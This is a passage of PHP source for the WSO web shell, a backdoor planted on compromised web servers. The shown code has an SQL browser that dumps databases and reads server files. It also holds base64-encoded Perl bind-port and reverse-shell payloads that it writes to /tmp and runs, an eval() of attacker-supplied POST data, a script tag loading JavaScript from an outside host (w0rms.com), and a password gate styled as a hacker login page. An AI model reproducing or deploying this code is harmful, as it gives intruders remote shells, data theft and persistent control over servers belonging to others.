1439 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1440 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1441 $db->selectdb($_POST['sql_base']);
1442 switch($_POST['charset']) {
1443 case "Windows-1251": $db->setCharset('cp1251'); break;
1444 case "UTF-8": $db->setCharset('utf8'); break;
1445 case "KOI8-R": $db->setCharset('koi8r'); break;
1446 case "KOI8-U": $db->setCharset('koi8u'); break;
1447 case "cp866": $db->setCharset('cp866'); break;
1448 }
1449 if(empty($_POST['file'])) {
1450 ob_start("ob_gzhandler", 4096);
1451 header("Content-Disposition: attachment; filename=dump.sql");
1452 header("Content-Type: text/plain");
1453 foreach($_POST['tbl'] as $v)
1454 $db->dump($v);
1455 exit;
1456 } elseif($fp = @fopen($_POST['file'], 'w')) {
1457 foreach($_POST['tbl'] as $v)
1458 $db->dump($v, $fp);
1459 fclose($fp);
1460 unset($_POST['p2']);
1461 } else
1462 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1463 }
1464 wsoHeader();
1465 echo "
1466<h1>Sql browser</h1><div class=content>
1467<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1468<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1469<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1470<td><select name='type'><option value='mysql' ";
1471 if(@$_POST['type']=='mysql')echo 'selected';
1472echo ">MySql</option><option value='pgsql' ";
1473if(@$_POST['type']=='pgsql')echo 'selected';
1474echo ">PostgreSql</option></select></td>
1475<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1476<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1477<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1478 $tmp = "<input type=text name=sql_base value=''>";
1479 if(isset($_POST['sql_host'])){
1480 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1481 switch($_POST['charset']) {
1482 case "Windows-1251": $db->setCharset('cp1251'); break;
1483 case "UTF-8": $db->setCharset('utf8'); break;
1484 case "KOI8-R": $db->setCharset('koi8r'); break;
1485 case "KOI8-U": $db->setCharset('koi8u'); break;
1486 case "cp866": $db->setCharset('cp866'); break;
1487 }
1488 $db->listDbs();
1489 echo "<select name=sql_base><option value=''></option>";
1490 while($item = $db->fetch()) {
1491 list($key, $value) = each($item);
1492 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1493 }
1494 echo '</select>';
1495 }
1496 else echo $tmp;
1497 }else
1498 echo $tmp;
1499 echo "</td>
1500 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1501 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1502 </tr>
1503 </table>
1504 <script>
1505 s_db='".@addslashes($_POST['sql_base'])."';
1506 function fs(f) {
1507 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1508 if(f.p1) f.p1.value='';
1509 if(f.p2) f.p2.value='';
1510 if(f.p3) f.p3.value='';
1511 }
1512 }
1513 function st(t,l) {
1514 d.sf.p1.value = 'select';
1515 d.sf.p2.value = t;
1516 if(l && d.sf.p3) d.sf.p3.value = l;
1517 d.sf.submit();
1518 }
1519 function is() {
1520 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1521 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1522 }
1523 </script>";
1524 if(isset($db) && $db->link){
1525 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1526 if(!empty($_POST['sql_base'])){
1527 $db->selectdb($_POST['sql_base']);
1528 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1529 $tbls_res = $db->listTables();
1530 while($item = $db->fetch($tbls_res)) {
1531 list($key, $value) = each($item);
1532 if(!empty($_POST['sql_count']))
1533 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1534 $value = htmlspecialchars($value);
1535 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1536 }
1537 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1538 if(@$_POST['p1'] == 'select') {
1539 $_POST['p1'] = 'query';
1540 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1541 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1542 $num = $db->fetch();
1543 $pages = ceil($num['n'] / 30);
1544 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1545 echo " of $pages";
1546 if($_POST['p3'] > 1)
1547 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1548 if($_POST['p3'] < $pages)
1549 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1550 $_POST['p3']--;
1551 if($_POST['type']=='pgsql')
1552 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1553 else
1554 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1555 echo "<br><br>";
1556 }
1557 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1558 $db->query(@$_POST['p2']);
1559 if($db->res !== false) {
1560 $title = false;
1561 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1562 $line = 1;
1563 while($item = $db->fetch()) {
1564 if(!$title) {
1565 echo '<tr>';
1566 foreach($item as $key => $value)
1567 echo '<th>'.$key.'</th>';
1568 reset($item);
1569 $title=true;
1570 echo '</tr><tr>';
1571 $line = 2;
1572 }
1573 echo '<tr class="l'.$line.'">';
1574 $line = $line==1?2:1;
1575 foreach($item as $key => $value) {
1576 if($value == null)
1577 echo '<td><i>null</i></td>';
1578 else
1579 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1580 }
1581 echo '</tr>';
1582 }
1583 echo '</table>';
1584 } else {
1585 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1586 }
1587 }
1588 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1589 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1590 echo htmlspecialchars($_POST['p2']);
1591 echo "</textarea><br/><input type=submit value='Execute'>";
1592 echo "</td></tr>";
1593 }
1594 echo "</table></form><br/>";
1595 if($_POST['type']=='mysql') {
1596 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1597 if($db->fetch())
1598 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1599 }
1600 if(@$_POST['p1'] == 'loadfile') {
1601 $file = $db->loadFile($_POST['p2']);
1602 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1603 }
1604 } else {
1605 echo htmlspecialchars($db->error());
1606 }
1607 echo '</div>';
1608 wsoFooter();
1609}
1610function actionNetwork() {
1611 wsoHeader();
1612 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1613 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1614 echo "<h1>Network tools</h1><div class=content>
1615 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1616 <span>Bind port to /bin/sh [perl]</span><br/>
1617 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1618 </form>
1619 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1620 <span>Back-connect [perl]</span><br/>
1621 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1622 </form><br>";
1623 if(isset($_POST['p1'])) {
1624 function cf($f,$t) {
1625 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1626 if($w){
1627 @fwrite($w,@base64_decode($t));
1628 @fclose($w);
1629 }
1630 }
1631 if($_POST['p1'] == 'bpp') {
1632 cf("/tmp/bp.pl",$bind_port_p);
1633 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1634 sleep(1);
1635 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1636 unlink("/tmp/bp.pl");
1637 }
1638 if($_POST['p1'] == 'bcp') {
1639 cf("/tmp/bc.pl",$back_connect_p);
1640 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1641 sleep(1);
1642 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1643 unlink("/tmp/bc.pl");
1644 }
1645 }
1646 echo '</div>';
1647 wsoFooter();
1648}
1649echo "<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>";
1650function actionRC() {
1651 if(!@$_POST['p1']) {
1652 $a = array(
1653 "uname" => php_uname(),
1654 "php_version" => phpversion(),
1655 "wso_version" => WSO_VERSION,
1656 "safemode" => @ini_get('safe_mode')
1657 );
1658 echo serialize($a);
1659 } else {
1660 eval($_POST['p1']);
1661 }
1662}
1663if( empty($_POST['a']) )
1664 if(isset($default_action) && function_exists('action' . $default_action))
1665 $_POST['a'] = $default_action;
1666 else
1667 $_POST['a'] = 'SecInfo';
1668if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1669 call_user_func('action' . $_POST['a']);
1670
1671exit;
1672
1673
1674
1675?>
1676
1677
1678
1679
1680<!-- END OF HIDDEN HTML -->
1681<?php
1682
1683
1684
1685}
1686
1687else
1688{
1689// Wrong password or no password entered display this message
1690if (isset($_POST['password']) || $password == "") {
1691
1692 print "<p align=\"center\"><font color=\"red\"><b>Incorrect Password</b><br>Please enter the correct password</font></p>";}
1693 print '<center><img src="https://s32.postimg.org/dqzccsml1/deadpool.png" width="80" height="100">';
1694 print "<br><form method=\"post\"><p align=\"center\"><br><br><br>Enter Your Password For Access.<br>";
1695 print "<br><br><br><input name=\"password\" type=\"password\" size=\"25\" maxlength=\"10\"><br><br><input value=\"Login\" type=\"submit\"></p></form>";
1696
1697}
1698
1699 print "";
1700?>
1701<BR>
1702</body>
1703</html>
1704
1705
1706
1707<b><i><font color=Red size=4>
1708<style type=text/css>
1709
1710body {
1711
1712 background: black;
1713
1714}
1715
1716input[type="password"] {
1717
1718 background: black;
1719 background:#222;
1720 color: lime;
1721 padding:8px;
1722 border:1px;
1723 border-radius: 25px;
1724 outline: none;
1725 border-color:red;
1726
1727}
1728
1729p{
1730
1731 text-align: center;
1732 color: lime;
1733 font-weight: bold;
1734}
1735
1736input[type="submit"] {
1737
1738
1739 background:black;
1740 background: #222;
1741 color: lime;
1742 border:none;
1743 border-radius: 25px;
1744 padding:8px;
1745 outline: none;
1746
1747}
1748
1749
1750input[type="password"]:hover {
1751
1752 background: black;
1753 background:black;
1754 color: lime;
1755 padding:8px;
1756 border:1px;
1757 border-radius: 25px;
1758 outline: none;
1759 border-color:red;
1760
1761}
1762
1763input[type="submit"]:hover {
1764
1765
1766 background:#222;
1767 background: #222;
1768 color: lime;
1769 border:none;
1770 border-radius: 25px;
1771 padding:8px;
1772 outline: none;
1773
1774}
1775
1776
1777
1778</style>